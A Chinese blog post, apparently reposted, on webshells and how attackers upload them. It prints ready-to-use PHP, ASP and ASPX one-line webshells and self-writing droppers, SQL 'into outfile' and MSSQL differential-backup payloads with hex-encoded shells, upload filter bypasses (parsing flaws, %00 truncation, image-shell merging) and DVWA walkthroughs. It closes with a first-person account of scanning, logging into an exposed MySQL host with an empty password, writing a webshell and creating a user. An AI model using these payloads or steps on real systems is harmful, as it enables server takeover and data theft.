当前位置:网站首页>Webshell上传方式
Webshell上传方式
2022-08-02 02:49:00 【wespten】
一、Webshell 简介
某天公司的网络运维人员发现公司的业务系统遭到了攻击,被挂了木马,导致公司数据泄露,并且黑客留下了后门。
Webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序。
Webshell就是就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,可以对web服务器进行操作的权限,也可以将其称做为一种网页后门。Webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于Webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用。
黑客在入侵了一个网站后,通过一些上传方式会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,将自己编写的Webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作,以达到控制网站服务器的目的。
二、Webshell 种类
大马
一方面,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为Web脚本木马,比较流行的asp或php木马,也有基于.NET的脚本木马与JSP脚本木马。
但是这里所说的木马都是些体积“庞大”的木马,也就是黑客中常称呼的" 大马 "。
大马比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。
中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。
访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:

一句话小马(小马)
因为上面所提及到的webshell概念中提到的大马在如今的安全领域中已经被盯的非常紧了,而且各种杀毒软件和防火墙软件都对这种“大马”有了甄别能力,所以如果被渗透的web服务器中安装了防御软件的话,留下这种大马作为自己的webshell就非常困难了,于是一种新型的webshell就横空出世了,那就是一句话木马。
简单来说一句话木马就是通过在网站的上传功能中提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。对于不同的语言有不同的构造方法,基本构造是首先出现的是脚本开始的标记,后边跟着的 eval 或者是 execute 是核心部分,就是获取并执行后边得到的内容,而后边得到的内容,是 request 或者是 $_POST 获取的值。如果我们通过客户端向服务器发送,那么就会让服务器执行我们发送的脚本,挂马就实现了。
一些不同脚本语言的一句话木马,这些都可以依靠网站的上传功能,上传文件信息交互类似的地方,比如头像(图片马),文件等,绕过前端JS的验证,后端的win解析或者其他漏洞进行绕过。然后通过菜刀进行连接就可以获得一个简单的webshell。
php一句话木马: <?php eval(@$_POST['password']);?>
asp一句话木马: <%eval request ("value")%> 或 <% execute(request("value")) %>
aspx一句话木马: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
<?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中但是现在的WAF配备很完善,很多都会检测得到这些常见的一句话马。
一句话木马运行
拿php的一句话木马说明一下原理:
在PHP脚本语言中,eval(code) 的功能是将 code 组合成 php 指令,然后将指令执行,其他语言中也是使用此原理,只是函数可能不同。
<?php $a=”phpinfo()”; eval(“echo $a; “); ?>就相当于执行 echo phpinfo()语句。
先来看看最简单的一句话木马:
<?php @eval($_POST['attack']);?>php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
@表示后面即使执行错误,也不报错。
php里面几个超全局变量:$_GET、$_POST就是其中之一。$_POST['a']的意思就是a这个变量,用post的方法接收,$_POST['attack']表示从页面中获得attack这个参数值。
注意:传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2)。
eval()函数表示括号内的语句字符串什么的全都当做PHP代码执行。
例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a'; 这时代码就变成<?php eval("echo 'a';"); ?>。结果如下:

连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。所以也就能这么玩:也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()和readdir()等等。想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好。你想执行cmd命令,则用exec()。
当然前提是:php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。
来看看效果,POST代码如下:
cmd=header("Content-type:text/html;charset=gbk");
exec("ipconfig",$out);
echo '<pre>';
print_r($out);
echo '</pre>';在这里我们可以看到系统直接执行了系统命令。SO,大家现在应该理解,为什么说一句话短小精悍了吧!

利用文件上传漏洞,将<?php @eval($_POST[value]);?> 一句话插入到了可以被黑客访问且能被web服务器执行的文件中时,那么我们就可以向此文件提交post数据,post方式提交数据的参数就是这个一句话中的 value,它就称为一句话木马的密码。如何提交的数据如果是正确的php语言的语句,那么就可以被一句话木马执行,从而达到黑客的恶意目的,也可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。
其中,只要攻击者满足三个条件,就能实现成功入侵:
(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。
介绍了一句话木马的原理后,我们再来说下它的优缺点:
优点:短小精悍,功能强大。
缺点:容易被安全软件检测出来。为了增强隐蔽性,也出现了各种一句话木马的变形。
一句话木马的变形
黑客的目的,就是想尽办法给目标网站插入一句话木马,可以是一个单独的 .asp 或者是 .php,.aspx 文件,或者是隐藏在某些网页下。
在上边的例子中,php 文件很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。
三、常见Webshell上传方式
解析漏洞上传
现在对于不同的web服务器系统对应的有不同的web服务端程序,windows端主流的有IIS,Linux端主流的有Nginx。这些服务对搭建web服务器提供了很大的帮助,同样也对服务器带来隐患,这些服务器上都存在一些漏洞,很容易被黑客利用。
(1) IIS目录解析漏洞
比如:/xx.asp/xx.jpg虽然上传的是JPG文件,但是如果该文件在xx.asp文件夹下,那个iis会把这个图片文件当成xx.asp解析,这个漏洞存在于iis5.x/6.0版本。
(2) 文件解析漏洞
比如:xx.asp;.jpg。在网页上传的时候识别的是jpg文件,但是上传之后iis不会解析;之后的字符,同样会把该文件解析成asp文件,这个漏洞存在于iis5.x/6.0版本。
(3) 文件名解析
由于未采用白名单过滤文件类型,导致asa,cer,等文件类型,未进行限制,asa,cer类型文件的映射处理默认跟asp映射处理一样,将webshell伪装成该种类型的文件上传即可。
比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都会被当成可执行文件,里面的asp代码也同样会执行。(其中asa文件是asp特有的配置文件,cer为证书文件)。
(4) fast-CGI解析漏洞
在web服务器开启fast-CGI的时候,上传图片xx.jpg,并写入一句话。访问路径xx.jpg/.php,就会在该路径下生成一个一句话木马shell.php。这个漏洞在IIS 7.0/7.5,Nginx8.03以下版本存在。
(5) Apache解析漏洞
Apache解析的方式是从右向左解析,如果不能解析成功,就会想左移动一个,但是后台上传通常是看上传文件的最右的一个后缀,所以根据这个,可以将马命名为xx.php.rar,因为apache解析不了rar,所以将其解析为php,但是后台上传点就将其解析为rar,这样就绕过了上传文件后缀限制。
截断上传
现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型。
在上传图片的时候,比如命名1.asp .jpg(asp后面有个空格),在上传的时候,用NC或者burpsuite抓到表单,将上传名asp后面加上%00(在burpsuite里面可以直接编辑HEX值,空格的HEX值为20,将20改为00),如果HEX为00的时候表示截断,20表示空格,如果表示截断的时候就为无视脚本中的JPG验证语句,直接上传ASP。
php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为php来正常运行,从而也可成功拿到shell。
后台数据库备份
在一些企业的后台管理系统中,里面有一项功能是备份数据库(比如南方cms里面就有备份数据库的功能)。可以上传一张图片,图片里面含有一句话木马,或者将大马改成jpg格式,然后用数据库备份功能,将这张图片备份为asp等其他内容可以被解析为脚本语句的格式,然后再通过web访问就可以执行木马了,但是这种方法很老了,现在大多数的cms已经把这种备份的功能取消了,或者禁用了。
主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其 他后缀 如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。
在实际运用中经常会碰到没有上传功能的时候,但是有asp系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成,asp文件即可。
在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加 上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。
利用数据库语句上传
(1) MySQL数据库into outfile
这种方式的前提必须是该网站有相应的注入点,而且当前用户必须要有上传的权限,而且必须有当前网页在服务器下的绝对路径。方法是用联合查询,将一句话木马导入到网站下边的一个php文件中去,然后使用服务端连接该网站。但是上述方法条件过于苛刻,一般遇到的情况很少。
后台需要有mysql数据查询功能,我们就可以利用它执行SELECT …… INTO OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用 SELECT …… INTO OUTFILE语句导出shell.在mysql操作里输入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路径‘ 就可以获得了一个<?eval($_POST[a]);?>的最小马' 0x3C3F6576616C28245F504F53545B615D293B3F3E是我们<?eval($_POST[a]);?>的十六进制,这种方法对phpmyadmin比较普遍,先利用phpmyadmin的路径泄露漏洞,比较典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php,就可以暴出路径,php环境中比较容易暴出绝对路径:)。
提一点的是遇到是mysql在win系统下路径应该这样写d:\\wwwroot \\a.php.下面的方法是比较常用的一个导出webshell的方法,也可以写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一 个管理员帐号:
CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')select cmd from a into outfile '路径/b.php' DROP TABLE IF EXISTS a访问b.php就会生成一个<?eval($_POST[a]);?>的最小马。
如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码:
<?$sa = fopen("./up/saiy.php","w");fwrite($sa,"<?eval(\$_POST[a]);?".">");fclose($sa);?>就会在up目录下生成文件名为saiy.php内容为<?eval($_POST[a]);?>的最小php木马,最后用lanker 的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代 码<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?> 将会在当前目录生成一个a.php的最小马。
(2) 建立新表写入木马
一些开源cms或者自制的webshell会有数据库管理功能,在数据库管理功能里面有sql查询功能,先使用create table shell(codetext);创建一个名字叫做shell的表,表里面有列明叫做code,类型为text。
然后使用insert into shell(code) values(‘一句话马’),这里讲shell表中的code列赋值为一句话的马,然后通过自定义备份,将该表备份为x.php;x然后就被解析成为php然后执行了,这里不是x.php;x就一定能够解析为php,不同的web服务器上面的服务程序不同,然后过滤规则也不同,可能会使用其他的方式。
(3) phpMyadmin设置错误
phpMyadmin用来管理网站数据库的一个工具,其中config.inc.php为其配置文件,在查看的该文件的时候,如果cfg['Servers'][i]['auth_type']参数的值设置没有设置(默认为config)说明在登陆数据库的时候没有做相应的验证,可以直接连入数据库,而且在Mysql在一些版本下面默认登陆都是以root用户进行登陆(即管理员),所以登陆进去为最大权限。
但是root一般只能本地登陆,所以必须创建一个远程登陆用户。用远程登陆用户登陆之后,创建一个表,然后再将一句话木马写入。
利用数据库压缩功能
可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写 上<%eval request (chr(35))%>, 提交后,在数据库操作中压缩数据库,可以成功压缩出。asp文件,用海洋的最小马的eval客户端连就得到一个webshell。
mssql系统差异备份生成webshell
这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提 交的表单,代码如下:
<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post"> <p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p> <p>要复制到的位置:<input name="backpath" type="text" size="80"></p> <p><input type="submit" value="提交"></p> </form>另存为.htm本地执行,把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复 制到的位置”那里,提交就得到我们可爱的WebShell了,恢复代码和此类似,修改相关地方就可以了。
没有遇到过后台执行mssql命令比较强大的asp程序后台,动网的数据库还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell,一般后台是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码,利用动网7.0的注入漏洞可以 用差异备份一个webshell,可以用利用上面提到的方法,将conn.asp文件备份成.txt文件而获得库名。
差异备份的主要代码:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to [email protected]——
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])——
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)——
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to [email protected] WITH DIFFERENTIAL,FORMAT这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,是ip最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也就是你要备份的webshell路径。
当然也可以用比较常见备份方式来获得webshell,唯一的不足就是备份后的文件过大,如果备份数据库中有防下载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运行,利用差异备份是成功率比较高的方法,并且极大的减少备份文件的大小。
四、DVWA文件上传漏洞上传WebShell
Low
代码分析:在上传文件时,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,并且生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
文件上传漏洞限制条件:
- 能够成功上传木马文件
- 上传文件必须能够被执行
- 上传文件的路径必须可知
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?> 先整一个php版本的一句话木马,注意要是php类型的。

上传。

我们可以发现,上传成功,并返回了服务器的上传路径,如下图:

在中国菜刀右键——添加——输入shell地址:http://192.168.29.76/DVWA-master/hackable/uploads/mua.php(这个shell地址是怎么来的:浏览器里你上传完这个文件,看上面地址,vulnerabilities/upload/#的前面两个也就是自己的IP和DVWA-master,有的人是dvwa,加上服务器上传路径hackable/uploads/mua.php),红框是刚才php文件里POST后面的密码。

“中国菜刀”页面操作说明:
1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;
2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"jyx");
3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样。
添加成功。

可以下载、修改服务器的所有文件。

还可以打开终端。

Medium
代码分析:函数对上传文件的类型和大小作了限制,类型必须是image/jpeg或者image/png,且上传文件大小不能超过100000B(大约等于97.6KB)
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>1、文件上传+文件包含:
首先我们把刚才的php文件修改为png类型,上传,成功。

现在直接去菜刀肯定连接不上,因为菜刀解析不了png类型的文件。
这时就要开始文件包含的操作,在菜刀的添加地址栏中输入:http://192.168.29.76/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://192.168.29.76/DVWA-master/hackable/uploads/mua.png
理论上就可以拿到web shell,但我尝试多次没有连接成功QAQ(咱也不知道为什么,据说是平台原因)。

2、利用burpsuite
上传文件,抓包,把这里改成mua.php。

上传文件,成功。

上菜刀进行连接。

3、截断绕过
php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off(在php.ini里找)时,可以在文件名中使用%00截断。
即可以把上传文件命名为hack.php%00.png,上传,抓包,可以看到类型符合要求,并且上传成功,此时菜刀再连接就可以了。
High
代码分析:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?> 增加了strrpos()函数和getimagesize()函数,从源码中发现对文件上传的格式做了更加严格的限制,要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”其中之一,而且限制了上传文件的文件头必须为图像类型。
strrpos() 函数:查找字符串在另一字符串中最后一次出现的位置。在这里是从文件名中找到含"."的字符。
getimagesize()函数:用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
我们需要进行操作,将一句话木马文件与图片合并成一个图片类型的文件,具体如下:
先把图片文件改后缀名整成txt类型。

打开这个txt文件,在最后加入一句话木马(<?php @eval($_POST['jyx']); ?> )。

再改回jpg类型文件。

也可以在CMD下用copy命令制作“图片木马”的步骤,其中,ClearSky.jpg/b中“b”表示“二进制文件”,hack.php/a中“a"表示ASCII码文件。


由于是图片木马,PHP脚本并无法被解析,菜刀连接木马失败。
既然图片木马也无法解析,那该怎么办?High级别的程序只允许上传图片啊……别慌,此处结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接了,下面进行攻击演示。
首先通过上述方法制造新的图片木马,图片文件后面的PHP脚本更改为:
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>然后制作新的图片木马,如下图所示:

接着上传到DVWA,然后借助文件包含漏洞模块访问该木马文件:

上传,成功,连接菜刀。
http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg
此时在DVWA文件包含漏洞的路径下便自动生成了PHP一句话木马脚本文件muma.php,如下图所示:

此时再上菜刀连接,即可成功连接:

五、txt形式上传WebShell
把WebShell转换为txt形式进行传输的操作。
找个开了3306端口的MYSQL弱口令主机,我们用MYSQL来远程连接:

上图提示已经通过MYSQL空口令连接到对方主机。

显示在我们远程导文件时,提示我们权限不够,不能创建和执行函数。很多时候会放弃而换其他主机去了,我们为什么不多花些时间,看看是否有其他方法呢?
我们再扫扫端口,看有否其他可以利用的。

刚才那台主机还开启了80端口,我们打开IE看看是什么主页。

WEB根目录没放默认页面,没设置好返回错误的页面,所以把WEB目录下文件夹都显示出来了。我们看看,有PHPMYADMIN的管理工具,以前我写过使用PHPMYADMIN来提权的方法,我们来试试吧。
我们用鼠标点一下IE上的phpMyadmin目录,就可以打开管理页面,在页面的右边有一项“显示PHP信息”这项是很关键的,我们需要它来确定WEB的绝对路径是在哪里,知道了绝对路径,我们才可以进行下一步操作。

我们点一下“显示PHP信息”显示出了此台主机的所有相关信息,我们只需要查找WEB的绝对路径这一栏信息就足够了。
WEB的绝对路径是在:c:/program files/apache group/apache/htdocs的目录下OK,我们掌握了绝对路径后,马上来进行PHPMYADMIN的提权操作。我们打开PHPMYADMIN管理页面的左边的数据库表,选其中一个,比如mysql或test都可以。
选好数据库后,我们点一下页面上方的SQL选项,这是MYSQL运行语句查询的。

然后,我们在查询栏里输入我们的指令,内容是创建一个nzhack的表,里面创建一个niuzu的字段,然后写入一句话的PHP WEBSHELL,把WEBSHELL导出到WEB目录下名字nzhack.php。

输入完毕,我们按一下执行。等待结果。

返回结果让人失望,提示运行错误,还是不成功,那再试试使用编辑工具进行进制转换,把我常用的一个PHP-Webshell转换为十进制代码,转换后的代码为:0x3c3f0d0a2f2a0d0a2d2d2d2d2b2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2….略。然后复制到一个TXT文件里,再把MYSQL语句加上,注意输入对方的WEB路径要准确。制作好后的内容为:

准备好后,我们运行CMD命令连接对方的数据库,输入指令:\. Nzhack.txt 按回车

运行后,显示是已经成功导出文件。我们现在马上打开IE输入对方IP和WEBSHELL地址:http:// 10.10.10.10/nzhack.php。

已经成功得到WEBSHELL,我们来创建用户试试。

成功创建用户。此文的目的提醒我碰到难题要多思考,思路要广,不要局限一种方法,尝试多几次,成功的机会就会大大提高。
边栏推荐
猜你喜欢
随机推荐
VPS8504C 微功率隔离电源隔离芯片 VPSC源特科技
MySQL六脉神剑,SQL通关大总结
“带薪划水”偷刷阿里老哥的面经宝典,三次挑战字节,终成正果
(1) Redis: Key-Value based storage system
Use DBeaver for mysql data backup and recovery
【无标题】【Koltin Flow(三)】Flow操作符之中间操作符(二)
第10章_索引优化与查询优化
240...循迹
analog IC layout
【每日一道LeetCode】——1. 两数之和
IMU预积分的简单理解
mysql 查看死锁
Lombok
cadence landscape bindkey
KICAD 小封装拉线卡顿问题 解决方法
analog IC layout-Parasitic effects
1688以图搜货
OC中new和init的区别
非稳压 源特电子 隔离电源模块芯片 5W VPS8504B 24V
线程的不同状态









